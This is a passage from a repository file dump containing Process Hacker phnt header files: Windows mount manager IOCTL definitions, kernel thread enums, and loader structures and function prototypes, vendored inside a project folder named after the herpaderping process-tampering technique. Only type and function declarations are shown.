IOCTL_MOUNTMGR_QUERY_POINTS CTL_CODE(MOUNTMGRCONTROLTYPE, 2, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define IOCTL_MOUNTMGR_DELETE_POINTS_DBONLY CTL_CODE(MOUNTMGRCONTROLTYPE, 3, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS)\n#define IOCTL_MOUNTMGR_NEXT_DRIVE_LETTER CTL_CODE(MOUNTMGRCONTROLTYPE, 4, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS)\n#define IOCTL_MOUNTMGR_AUTO_DL_ASSIGNMENTS CTL_CODE(MOUNTMGRCONTROLTYPE, 5, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS)\n#define IOCTL_MOUNTMGR_VOLUME_MOUNT_POINT_CREATED CTL_CODE(MOUNTMGRCONTROLTYPE, 6, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS)\n#define IOCTL_MOUNTMGR_VOLUME_MOUNT_POINT_DELETED CTL_CODE(MOUNTMGRCONTROLTYPE, 7, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS)\n#define IOCTL_MOUNTMGR_CHANGE_NOTIFY CTL_CODE(MOUNTMGRCONTROLTYPE, 8, METHOD_BUFFERED, FILE_READ_ACCESS)\n#define IOCTL_MOUNTMGR_KEEP_LINKS_WHEN_OFFLINE CTL_CODE(MOUNTMGRCONTROLTYPE, 9, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS)\n#define IOCTL_MOUNTMGR_CHECK_UNPROCESSED_VOLUMES CTL_CODE(MOUNTMGRCONTROLTYPE, 10, METHOD_BUFFERED, FILE_READ_ACCESS)\n#define IOCTL_MOUNTMGR_VOLUME_ARRIVAL_NOTIFICATION CTL_CODE(MOUNTMGRCONTROLTYPE, 11, METHOD_BUFFERED, FILE_READ_ACCESS)\n#define IOCTL_MOUNTMGR_QUERY_DOS_VOLUME_PATH CTL_CODE(MOUNTMGRCONTROLTYPE, 12, METHOD_BUFFERED, FILE_ANY_ACCESS)\n#define IOCTL_MOUNTMGR_QUERY_DOS_VOLUME_PATHS CTL_CODE(MOUNTMGRCONTROLTYPE, 13, METHOD_BUFFERED, FILE_ANY_ACCESS)\n\n#define IOCTL_MOUNTDEV_QUERY_DEVICE_NAME CTL_CODE(MOUNTDEVCONTROLTYPE, 2, METHOD_BUFFERED, FILE_ANY_ACCESS)\n\n// Input structure for IOCTL_MOUNTMGR_CREATE_POINT.\ntypedef struct _MOUNTMGR_CREATE_POINT_INPUT\n{\n USHORT SymbolicLinkNameOffset;\n USHORT SymbolicLinkNameLength;\n USHORT DeviceNameOffset;\n USHORT DeviceNameLength;\n} MOUNTMGR_CREATE_POINT_INPUT, *PMOUNTMGR_CREATE_POINT_INPUT;\n\n// Input structure for IOCTL_MOUNTMGR_DELETE_POINTS, IOCTL_MOUNTMGR_QUERY_POINTS, and IOCTL_MOUNTMGR_DELETE_POINTS_DBONLY.\ntypedef struct _MOUNTMGR_MOUNT_POINT\n{\n ULONG SymbolicLinkNameOffset;\n USHORT SymbolicLinkNameLength;\n USHORT Reserved1;\n ULONG UniqueIdOffset;\n USHORT UniqueIdLength;\n USHORT Reserved2;\n ULONG DeviceNameOffset;\n USHORT DeviceNameLength;\n USHORT Reserved3;\n} MOUNTMGR_MOUNT_POINT, * PMOUNTMGR_MOUNT_POINT;\n\n// Output structure for IOCTL_MOUNTMGR_DELETE_POINTS, IOCTL_MOUNTMGR_QUERY_POINTS, and IOCTL_MOUNTMGR_DELETE_POINTS_DBONLY.\ntypedef struct _MOUNTMGR_MOUNT_POINTS\n{\n ULONG Size;\n ULONG NumberOfMountPoints;\n MOUNTMGR_MOUNT_POINT MountPoints[1];\n} MOUNTMGR_MOUNT_POINTS, *PMOUNTMGR_MOUNT_POINTS;\n\n// Input structure for IOCTL_MOUNTMGR_NEXT_DRIVE_LETTER.\ntypedef struct _MOUNTMGR_DRIVE_LETTER_TARGET\n{\n USHORT DeviceNameLength;\n WCHAR DeviceName[1];\n} MOUNTMGR_DRIVE_LETTER_TARGET, *PMOUNTMGR_DRIVE_LETTER_TARGET;\n\n// Output structure for IOCTL_MOUNTMGR_NEXT_DRIVE_LETTER.\ntypedef struct _MOUNTMGR_DRIVE_LETTER_INFORMATION\n{\n BOOLEAN DriveLetterWasAssigned;\n UCHAR CurrentDriveLetter;\n} MOUNTMGR_DRIVE_LETTER_INFORMATION, *PMOUNTMGR_DRIVE_LETTER_INFORMATION;\n\n// Input structure for IOCTL_MOUNTMGR_VOLUME_MOUNT_POINT_CREATED and\n// IOCTL_MOUNTMGR_VOLUME_MOUNT_POINT_DELETED.\ntypedef struct _MOUNTMGR_VOLUME_MOUNT_POINT\n{\n USHORT SourceVolumeNameOffset;\n USHORT SourceVolumeNameLength;\n USHORT TargetVolumeNameOffset;\n USHORT TargetVolumeNameLength;\n} MOUNTMGR_VOLUME_MOUNT_POINT, *PMOUNTMGR_VOLUME_MOUNT_POINT;\n\n// Input structure for IOCTL_MOUNTMGR_CHANGE_NOTIFY.\n// Output structure for IOCTL_MOUNTMGR_CHANGE_NOTIFY.\ntypedef struct _MOUNTMGR_CHANGE_NOTIFY_INFO\n{\n ULONG EpicNumber;\n} MOUNTMGR_CHANGE_NOTIFY_INFO, *PMOUNTMGR_CHANGE_NOTIFY_INFO;\n\n// Input structure for IOCTL_MOUNTMGR_KEEP_LINKS_WHEN_OFFLINE,\n// IOCTL_MOUNTMGR_VOLUME_ARRIVAL_NOTIFICATION,\n// IOCTL_MOUNTMGR_QUERY_DOS_VOLUME_PATH, and\n// IOCTL_MOUNTMGR_QUERY_DOS_VOLUME_PATHS.\n// IOCTL_MOUNTMGR_PREPARE_VOLUME_DELETE\n// IOCTL_MOUNTMGR_CANCEL_VOLUME_DELETE\ntypedef struct _MOUNTMGR_TARGET_NAME\n{\n USHORT DeviceNameLength;\n WCHAR DeviceName[1];\n} MOUNTMGR_TARGET_NAME, * PMOUNTMGR_TARGET_NAME;\n\n// Macro that defines what a \"drive letter\" mount point is. This macro can\n// be used to scan the result from QUERY_POINTS to discover which mount points\n// are find \"drive letter\" mount points.\n#define MOUNTMGR_IS_DRIVE_LETTER(s) ( \\\n (s)->Length == 28 && \\\n (s)->Buffer[0] == '\\\\' && \\\n (s)->Buffer[1] == 'D' && \\\n (s)->Buffer[2] == 'o' && \\\n (s)->Buffer[3] == 's' && \\\n (s)->Buffer[4] == 'D' && \\\n (s)->Buffer[5] == 'e' && \\\n (s)->Buffer[6] == 'v' && \\\n (s)->Buffer[7] == 'i' && \\\n (s)->Buffer[8] == 'c' && \\\n (s)->Buffer[9] == 'e' && \\\n (s)->Buffer[10] == 's' && \\\n (s)->Buffer[11] == '\\\\' && \\\n (s)->Buffer[12] >= 'A' && \\\n (s)->Buffer[12] <= 'Z' && \\\n (s)->Buffer[13] == ':')\n\n// Macro that defines what a \"volume name\" mount point is. This macro can\n// be used to scan the result from QUERY_POINTS to discover which mount points\n// are \"volume name\" mount points.\n#define MOUNTMGR_IS_VOLUME_NAME(s) ( \\\n ((s)->Length == 96 || ((s)->Length == 98 && (s)->Buffer[48] == '\\\\')) && \\\n (s)->Buffer[0] == '\\\\' && \\\n ((s)->Buffer[1] == '?' || (s)->Buffer[1] == '\\\\') && \\\n (s)->Buffer[2] == '?' && \\\n (s)->Buffer[3] == '\\\\' && \\\n (s)->Buffer[4] == 'V' && \\\n (s)->Buffer[5] == 'o' && \\\n (s)->Buffer[6] == 'l' && \\\n (s)->Buffer[7] == 'u' && \\\n (s)->Buffer[8] == 'm' && \\\n (s)->Buffer[9] == 'e' && \\\n (s)->Buffer[10] == '{' && \\\n (s)->Buffer[19] == '-' && \\\n (s)->Buffer[24] == '-' && \\\n (s)->Buffer[29] == '-' && \\\n (s)->Buffer[34] == '-' && \\\n (s)->Buffer[47] == '}')\n\n// Output structure for IOCTL_MOUNTDEV_QUERY_DEVICE_NAME.\ntypedef struct _MOUNTDEV_NAME\n{\n USHORT NameLength;\n WCHAR Name[1];\n} MOUNTDEV_NAME, * PMOUNTDEV_NAME;\n\n// Output structure for IOCTL_MOUNTMGR_QUERY_DOS_VOLUME_PATH and IOCTL_MOUNTMGR_QUERY_DOS_VOLUME_PATHS.\ntypedef struct _MOUNTMGR_VOLUME_PATHS\n{\n ULONG MultiSzLength;\n WCHAR MultiSz[1];\n} MOUNTMGR_VOLUME_PATHS, *PMOUNTMGR_VOLUME_PATHS;\n\n#define MOUNTMGR_IS_DOS_VOLUME_NAME(s) ( \\\n MOUNTMGR_IS_VOLUME_NAME(s) && \\\n (s)->Length == 96 && \\\n (s)->Buffer[1] == '\\\\')\n\n#define MOUNTMGR_IS_DOS_VOLUME_NAME_WB(s) ( \\\n MOUNTMGR_IS_VOLUME_NAME(s) && \\\n (s)->Length == 98 && \\\n (s)->Buffer[1] == '\\\\')\n\n#define MOUNTMGR_IS_NT_VOLUME_NAME(s) ( \\\n MOUNTMGR_IS_VOLUME_NAME(s) && \\\n (s)->Length == 96 && \\\n (s)->Buffer[1] == '?')\n\n#define MOUNTMGR_IS_NT_VOLUME_NAME_WB(s) ( \\\n MOUNTMGR_IS_VOLUME_NAME(s) && \\\n (s)->Length == 98 && \\\n (s)->Buffer[1] == '?')\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/ntkeapi.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _NTKEAPI_H\n#define _NTKEAPI_H\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n#define LOW_PRIORITY 0 // Lowest thread priority level\n#define LOW_REALTIME_PRIORITY 16 // Lowest realtime priority level\n#define HIGH_PRIORITY 31 // Highest thread priority level\n#define MAXIMUM_PRIORITY 32 // Number of thread priority levels\n#endif\n\ntypedef enum _KTHREAD_STATE\n{\n Initialized,\n Ready,\n Running,\n Standby,\n Terminated,\n Waiting,\n Transition,\n DeferredReady,\n GateWaitObsolete,\n WaitingForProcessInSwap,\n MaximumThreadState\n} KTHREAD_STATE, *PKTHREAD_STATE;\n\n// private\ntypedef enum _KHETERO_CPU_POLICY\n{\n KHeteroCpuPolicyAll,\n KHeteroCpuPolicyLarge,\n KHeteroCpuPolicyLargeOrIdle,\n KHeteroCpuPolicySmall,\n KHeteroCpuPolicySmallOrIdle,\n KHeteroCpuPolicyDynamic,\n KHeteroCpuPolicyStaticMax,\n KHeteroCpuPolicyBiasedSmall,\n KHeteroCpuPolicyBiasedLarge,\n KHeteroCpuPolicyDefault,\n KHeteroCpuPolicyMax\n} KHETERO_CPU_POLICY, *PKHETERO_CPU_POLICY;\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n\ntypedef enum _KWAIT_REASON\n{\n Executive,\n FreePage,\n PageIn,\n PoolAllocation,\n DelayExecution,\n Suspended,\n UserRequest,\n WrExecutive,\n WrFreePage,\n WrPageIn,\n WrPoolAllocation,\n WrDelayExecution,\n WrSuspended,\n WrUserRequest,\n WrEventPair,\n WrQueue,\n WrLpcReceive,\n WrLpcReply,\n WrVirtualMemory,\n WrPageOut,\n WrRendezvous,\n WrKeyedEvent,\n WrTerminated,\n WrProcessInSwap,\n WrCpuRateControl,\n WrCalloutStack,\n WrKernel,\n WrResource,\n WrPushLock,\n WrMutex,\n WrQuantumEnd,\n WrDispatchInt,\n WrPreempted,\n WrYieldExecution,\n WrFastMutex,\n WrGuardedMutex,\n WrRundown,\n WrAlertByThreadId,\n WrDeferredPreempt,\n MaximumWaitReason\n} KWAIT_REASON, *PKWAIT_REASON;\n\ntypedef enum _KPROFILE_SOURCE\n{\n ProfileTime,\n ProfileAlignmentFixup,\n ProfileTotalIssues,\n ProfilePipelineDry,\n ProfileLoadInstructions,\n ProfilePipelineFrozen,\n ProfileBranchInstructions,\n ProfileTotalNonissues,\n ProfileDcacheMisses,\n ProfileIcacheMisses,\n ProfileCacheMisses,\n ProfileBranchMispredictions,\n ProfileStoreInstructions,\n ProfileFpInstructions,\n ProfileIntegerInstructions,\n Profile2Issue,\n Profile3Issue,\n Profile4Issue,\n ProfileSpecialInstructions,\n ProfileTotalCycles,\n ProfileIcacheIssues,\n ProfileDcacheAccesses,\n ProfileMemoryBarrierCycles,\n ProfileLoadLinkedIssues,\n ProfileMaximum\n} KPROFILE_SOURCE;\n\n#endif\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCallbackReturn(\n _In_reads_bytes_opt_(OutputLength) PVOID OutputBuffer,\n _In_ ULONG OutputLength,\n _In_ NTSTATUS Status\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nVOID\nNTAPI\nNtFlushProcessWriteBuffers(\n VOID\n );\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryDebugFilterState(\n _In_ ULONG ComponentId,\n _In_ ULONG Level\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetDebugFilterState(\n _In_ ULONG ComponentId,\n _In_ ULONG Level,\n _In_ BOOLEAN State\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtYieldExecution(\n VOID\n );\n\n#endif\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/ntldr.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _NTLDR_H\n#define _NTLDR_H\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n\n// DLLs\n\ntypedef BOOLEAN (NTAPI *PLDR_INIT_ROUTINE)(\n _In_ PVOID DllHandle,\n _In_ ULONG Reason,\n _In_opt_ PVOID Context\n );\n\n// symbols\ntypedef struct _LDR_SERVICE_TAG_RECORD\n{\n struct _LDR_SERVICE_TAG_RECORD *Next;\n ULONG ServiceTag;\n} LDR_SERVICE_TAG_RECORD, *PLDR_SERVICE_TAG_RECORD;\n\n// symbols\ntypedef struct _LDRP_CSLIST\n{\n PSINGLE_LIST_ENTRY Tail;\n} LDRP_CSLIST, *PLDRP_CSLIST;\n\n// symbols\ntypedef enum _LDR_DDAG_STATE\n{\n LdrModulesMerged = -5,\n LdrModulesInitError = -4,\n LdrModulesSnapError = -3,\n LdrModulesUnloaded = -2,\n LdrModulesUnloading = -1,\n LdrModulesPlaceHolder = 0,\n LdrModulesMapping = 1,\n LdrModulesMapped = 2,\n LdrModulesWaitingForDependencies = 3,\n LdrModulesSnapping = 4,\n LdrModulesSnapped = 5,\n LdrModulesCondensed = 6,\n LdrModulesReadyToInit = 7,\n LdrModulesInitializing = 8,\n LdrModulesReadyToRun = 9\n} LDR_DDAG_STATE;\n\n// symbols\ntypedef struct _LDR_DDAG_NODE\n{\n LIST_ENTRY Modules;\n PLDR_SERVICE_TAG_RECORD ServiceTagList;\n ULONG LoadCount;\n ULONG LoadWhileUnloadingCount;\n ULONG LowestLink;\n union\n {\n LDRP_CSLIST Dependencies;\n SINGLE_LIST_ENTRY RemovalLink;\n };\n LDRP_CSLIST IncomingDependencies;\n LDR_DDAG_STATE State;\n SINGLE_LIST_ENTRY CondenseLink;\n ULONG PreorderNumber;\n} LDR_DDAG_NODE, *PLDR_DDAG_NODE;\n\n// rev\ntypedef struct _LDR_DEPENDENCY_RECORD\n{\n SINGLE_LIST_ENTRY DependencyLink;\n PLDR_DDAG_NODE DependencyNode;\n SINGLE_LIST_ENTRY IncomingDependencyLink;\n PLDR_DDAG_NODE IncomingDependencyNode;\n} LDR_DEPENDENCY_RECORD, *PLDR_DEPENDENCY_RECORD;\n\n// symbols\ntypedef enum _LDR_DLL_LOAD_REASON\n{\n LoadReasonStaticDependency,\n LoadReasonStaticForwarderDependency,\n LoadReasonDynamicForwarderDependency,\n LoadReasonDelayloadDependency,\n LoadReasonDynamicLoad,\n LoadReasonAsImageLoad,\n LoadReasonAsDataLoad,\n LoadReasonEnclavePrimary, // REDSTONE3\n LoadReasonEnclaveDependency,\n LoadReasonUnknown = -1\n} LDR_DLL_LOAD_REASON, *PLDR_DLL_LOAD_REASON;\n\n#define LDRP_PACKAGED_BINARY 0x00000001\n#define LDRP_STATIC_LINK 0x00000002\n#define LDRP_IMAGE_DLL 0x00000004\n#define LDRP_LOAD_IN_PROGRESS 0x00001000\n#define LDRP_UNLOAD_IN_PROGRESS 0x00002000\n#define LDRP_ENTRY_PROCESSED 0x00004000\n#define LDRP_ENTRY_INSERTED 0x00008000\n#define LDRP_CURRENT_LOAD 0x00010000\n#define LDRP_FAILED_BUILTIN_LOAD 0x00020000\n#define LDRP_DONT_CALL_FOR_THREADS 0x00040000\n#define LDRP_PROCESS_ATTACH_CALLED 0x00080000\n#define LDRP_DEBUG_SYMBOLS_LOADED 0x00100000\n#define LDRP_IMAGE_NOT_AT_BASE 0x00200000 // Vista and below\n#define LDRP_COR_IMAGE 0x00400000\n#define LDRP_DONT_RELOCATE 0x00800000 // LDR_COR_OWNS_UNMAP\n#define LDRP_SYSTEM_MAPPED 0x01000000\n#define LDRP_IMAGE_VERIFYING 0x02000000\n#define LDRP_DRIVER_DEPENDENT_DLL 0x04000000\n#define LDRP_ENTRY_NATIVE 0x08000000\n#define LDRP_REDIRECTED 0x10000000\n#define LDRP_NON_PAGED_DEBUG_INFO 0x20000000\n#define LDRP_MM_LOADED 0x40000000\n#define LDRP_COMPAT_DATABASE_PROCESSED 0x80000000\n\n#define LDR_DATA_TABLE_ENTRY_SIZE_WINXP FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, DdagNode)\n#define LDR_DATA_TABLE_ENTRY_SIZE_WIN7 FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, BaseNameHashValue)\n#define LDR_DATA_TABLE_ENTRY_SIZE_WIN8 FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, ImplicitPathOptions)\n#define LDR_DATA_TABLE_ENTRY_SIZE_WIN10 sizeof(LDR_DATA_TABLE_ENTRY)\n\n// symbols\ntypedef struct _LDR_DATA_TABLE_ENTRY\n{\n LIST_ENTRY InLoadOrderLinks;\n LIST_ENTRY InMemoryOrderLinks;\n union\n {\n LIST_ENTRY InInitializationOrderLinks;\n LIST_ENTRY InProgressLinks;\n };\n PVOID DllBase;\n PLDR_INIT_ROUTINE EntryPoint;\n ULONG SizeOfImage;\n UNICODE_STRING FullDllName;\n UNICODE_STRING BaseDllName;\n union\n {\n UCHAR FlagGroup[4];\n ULONG Flags;\n struct\n {\n ULONG PackagedBinary : 1;\n ULONG MarkedForRemoval : 1;\n ULONG ImageDll : 1;\n ULONG LoadNotificationsSent : 1;\n ULONG TelemetryEntryProcessed : 1;\n ULONG ProcessStaticImport : 1;\n ULONG InLegacyLists : 1;\n ULONG InIndexes : 1;\n ULONG ShimDll : 1;\n ULONG InExceptionTable : 1;\n ULONG ReservedFlags1 : 2;\n ULONG LoadInProgress : 1;\n ULONG LoadConfigProcessed : 1;\n ULONG EntryProcessed : 1;\n ULONG ProtectDelayLoad : 1;\n ULONG ReservedFlags3 : 2;\n ULONG DontCallForThreads : 1;\n ULONG ProcessAttachCalled : 1;\n ULONG ProcessAttachFailed : 1;\n ULONG CorDeferredValidate : 1;\n ULONG CorImage : 1;\n ULONG DontRelocate : 1;\n ULONG CorILOnly : 1;\n ULONG ChpeImage : 1;\n ULONG ReservedFlags5 : 2;\n ULONG Redirected : 1;\n ULONG ReservedFlags6 : 2;\n ULONG CompatDatabaseProcessed : 1;\n };\n };\n USHORT ObsoleteLoadCount;\n USHORT TlsIndex;\n LIST_ENTRY HashLinks;\n ULONG TimeDateStamp;\n struct _ACTIVATION_CONTEXT *EntryPointActivationContext;\n PVOID Lock; // RtlAcquireSRWLockExclusive\n PLDR_DDAG_NODE DdagNode;\n LIST_ENTRY NodeModuleLink;\n struct _LDRP_LOAD_CONTEXT *LoadContext;\n PVOID ParentDllBase;\n PVOID SwitchBackContext;\n RTL_BALANCED_NODE BaseAddressIndexNode;\n RTL_BALANCED_NODE MappingInfoIndexNode;\n ULONG_PTR OriginalBase;\n LARGE_INTEGER LoadTime;\n ULONG BaseNameHashValue;\n LDR_DLL_LOAD_REASON LoadReason;\n ULONG ImplicitPathOptions;\n ULONG ReferenceCount;\n ULONG DependentLoadFlags;\n UCHAR SigningLevel; // since REDSTONE2\n} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;\n\n#define LDR_IS_DATAFILE(DllHandle) (((ULONG_PTR)(DllHandle)) & (ULONG_PTR)1)\n#define LDR_IS_IMAGEMAPPING(DllHandle) (((ULONG_PTR)(DllHandle)) & (ULONG_PTR)2)\n#define LDR_IS_RESOURCE(DllHandle) (LDR_IS_IMAGEMAPPING(DllHandle) || LDR_IS_DATAFILE(DllHandle))\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrLoadDll(\n _In_opt_ PWSTR DllPath,\n _In_opt_ PULONG DllCharacteristics,\n _In_ PUNICODE_STRING DllName,\n _Out_ PVOID *DllHandle\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrUnloadDll(\n _In_ PVOID DllHandle\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrGetDllHandle(\n _In_opt_ PWSTR DllPath,\n _In_opt_ PULONG DllCharacteristics,\n _In_ PUNICODE_STRING DllName,\n _Out_ PVOID *DllHandle\n );\n\n#define LDR_GET_DLL_HANDLE_EX_UNCHANGED_REFCOUNT 0x00000001\n#define LDR_GET_DLL_HANDLE_EX_PIN 0x00000002\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrGetDllHandleEx(\n _In_ ULONG Flags,\n _In_opt_ PWSTR DllPath,\n _In_opt_ PULONG DllCharacteristics,\n _In_ PUNICODE_STRING DllName,\n _Out_opt_ PVOID *DllHandle\n );\n\n#if (PHNT_VERSION >= PHNT_WIN7)\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrGetDllHandleByMapping(\n _In_ PVOID BaseAddress,\n _Out_ PVOID *DllHandle\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_WIN7)\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrGetDllHandleByName(\n _In_opt_ PUNICODE_STRING BaseDllName,\n _In_opt_ PUNICODE_STRING FullDllName,\n _Out_ PVOID *DllHandle\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_WIN8)\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrGetDllFullName(\n _In_ PVOID DllHandle,\n _Out_ PUNICODE_STRING FullDllName\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrGetDllDirectory(\n _Out_ PUNICODE_STRING DllDirectory\n );\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrSetDllDirectory(\n _In_ PUNICODE_STRING DllDirectory\n );\n#endif\n\n#define LDR_ADDREF_DLL_PIN 0x00000001\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrAddRefDll(\n _In_ ULONG Flags,\n _In_ PVOID DllHandle\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrGetProcedureAddress(\n _In_ PVOID DllHandle,\n _In_opt_ PANSI_STRING ProcedureName,\n _In_opt_ ULONG ProcedureNumber,\n _Out_ PVOID *ProcedureAddress\n );\n\n// rev\n#define LDR_GET_PROCEDURE_ADDRESS_DONT_RECORD_FORWARDER 0x00000001\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrGetProcedureAddressEx(\n _In_ PVOID DllHandle,\n _In_opt_ PANSI_STRING ProcedureName,\n _In_opt_ ULONG ProcedureNumber,\n _Out_ PVOID *ProcedureAddress,\n _In_ ULONG Flags\n );\n#endif\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrGetKnownDllSectionHandle(\n _In_ PCWSTR DllName,\n _In_ BOOLEAN KnownDlls32,\n _Out_ PHANDLE Section\n );\n\n#if (PHNT_VERSION >= PHNT_THRESHOLD)\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrGetProcedureAddressForCaller(\n _In_ PVOID DllHandle,\n _In_opt_ PANSI_STRING ProcedureName,\n _In_opt_ ULONG ProcedureNumber,\n _Out_ PVOID *ProcedureAddress,\n _In_ ULONG Flags,\n _In_ PVOID *Callback\n );\n#endif\n\n#define LDR_LOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001\n#define LDR_LOCK_LOADER_LOCK_FLAG_TRY_ONLY 0x00000002\n\n#define LDR_LOCK_LOADER_LOCK_DISPOSITION_INVALID 0\n#define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_ACQUIRED 1\n#define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_NOT_ACQUIRED 2\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrLockLoaderLock(\n _In_ ULONG Flags,\n _Out_opt_ ULONG *Disposition,\n _Out_ PVOID *Cookie\n );\n\n#define LDR_UNLOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrUnlockLoaderLock(\n _In_ ULONG Flags,\n _Inout_ PVOID Cookie\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrRelocateImage(\n _In_ PVOID NewBase,\n _In_ PSTR LoaderName,\n _In_ NTSTATUS Success,\n _In_ NTSTATUS Conflict,\n _In_ NTSTATUS Invalid\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrRelocateImageWithBias(\n _In_ PVOID NewBase,\n _In_ LONGLONG Bias,\n _In_ PSTR LoaderName,\n _In_ NTSTATUS Success,\n _In_ NTSTATUS Conflict,\n _In_ NTSTATUS Invalid\n );\n\nNTSYSAPI\nPIMAGE_BASE_RELOCATION\nNTAPI\nLdrProcessRelocationBlock(\n _In_ ULONG_PTR VA,\n _In_ ULONG SizeOfBlock,\n _In_ PUSHORT NextOffset,\n _In_ LONG_PTR Diff\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nLdrVerifyMappedImageMatchesChecksum(\n _In_ PVOID BaseAddress,\n _In_ SIZE_T NumberOfBytes,\n _In_ ULONG FileLength\n );\n\ntypedef VOID (NTAPI *PLDR_IMPORT_MODULE_CALLBACK)(\n _In_ PVOID Parameter,\n _In_ PSTR ModuleName\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrVerifyImageMatchesChecksum(\n _In_ HANDLE ImageFileHandle,\n _In_opt_ PLDR_IMPORT_MODULE_CALLBACK ImportCallbackRoutine,\n _In_ PVOID ImportCallbackParameter,\n _Out_opt_ PUSHORT ImageCharacteristics\n );\n\n// private\ntypedef struct _LDR_IMPORT_CALLBACK_INFO\n{\n PLDR_IMPORT_MODULE_CALLBACK ImportCallbackRoutine;\n PVOID ImportCallbackParameter;\n} LDR_IMPORT_CALLBACK_INFO, *PLDR_IMPORT_CALLBACK_INFO;\n\n// private\ntypedef struct _LDR_SECTION_INFO\n{\n HANDLE SectionHandle;\n ACCESS_MASK DesiredAccess;\n POBJECT_ATTRIBUTES ObjA;\n ULONG SectionPageProtection;\n ULONG AllocationAttributes;\n} LDR_SECTION_INFO, *PLDR_SECTION_INFO;\n\n// private\ntypedef struct _LDR_VERIFY_IMAGE_INFO\n{\n ULONG Size;\n ULONG Flags;\n LDR_IMPORT_CALLBACK_INFO CallbackInfo;\n LDR_SECTION_INFO SectionInfo;\n USHORT ImageCharacteristics;\n} LDR_VERIFY_IMAGE_INFO, *PLDR_VERIFY_IMAGE_INFO;\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrVerifyImageMatchesChecksumEx(\n _In_ HANDLE ImageFileHandle,\n _Inout_ PLDR_VERIFY_IMAGE_INFO VerifyInfo\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrQueryModuleServiceTags(\n _In_ PVOID DllHandle,\n _Out_writes_(*BufferSize) PULONG ServiceTagBuffer,\n _Inout_ PULONG BufferSize\n );\n#endif\n\n// begin_msdn:\"DLL Load Notification\"\n\n#define LDR_DLL_NOTIFICATION_REASON_LOADED 1\n#define LDR_DLL_NOTIFICATION_REASON_UNLOADED 2\n\ntypedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA\n{\n ULONG Flags;\n PUNICODE_STRING FullDllName;\n PUNICODE_STRING BaseDllName;\n PVOID DllBase;\n ULONG SizeOfImage;\n} LDR_DLL_LOADED_NOTIFICATION_DATA, *PLDR_DLL_LOADED_NOTIFICATION_DATA;\n\ntypedef struct _LDR_DLL_UNLOADED_NOTIFICATION_DATA\n{\n ULONG Flags;\n PCUNICODE_STRING FullDllName;\n PCUNICODE_STRING BaseDllName;\n PVOID DllBase;\n ULONG SizeOfImage;\n} LDR_DLL_UNLOADED_NOTIFICATION_DATA, *PLDR_DLL_UNLOADED_NOTIFICATION_DATA;\n\ntypedef union _LDR_DLL_NOTIFICATION_DATA\n{\n 